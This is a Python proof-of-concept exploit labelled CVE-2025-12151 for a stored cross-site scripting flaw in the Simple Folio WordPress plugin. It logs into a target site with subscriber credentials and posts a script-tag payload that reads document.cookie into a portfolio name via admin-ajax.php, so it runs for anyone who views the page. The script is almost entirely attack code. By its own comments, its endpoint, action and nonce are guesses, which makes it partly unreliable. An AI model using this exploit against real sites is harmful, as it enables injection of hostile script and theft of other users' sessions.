CVE-2025-12151

import requests import sys # Target WordPress site target_url = "http://target-wordpress-site.com" # Authentication credentials (Subscriber-level or higher) username = "attacker" password = "attacker_password" # XSS payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ This PoC demonstrates the Stored XSS vulnerability in Simple Folio plugin. The vulnerability allows authenticated users to inject arbitrary JavaScript via the portfolio_name parameter, which is then stored and executed when other users view the affected page. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create portfolio with XSS payload in portfolio_name # Note: The actual endpoint may vary depending on plugin version create_url = f"{target_url}/wp-admin/admin-ajax.php" # This is a generic example - actual exploitation requires # identifying the correct AJAX action and parameters create_data = { 'action': 'simple_folio_save_portfolio', 'portfolio_name': xss_payload, 'nonce': 'your_nonce_here' # May need to obtain valid nonce } response = session.post(create_url, data=create_data) print(f"[*] Payload sent: {xss_payload}") print(f"[*] Response: {response.text}") # Step 3: When any user visits the portfolio page, the XSS will execute print("[!] XSS payload has been stored. Any user viewing the portfolio page will trigger the alert.") return True if __name__ == "__main__": exploit_stored_xss()

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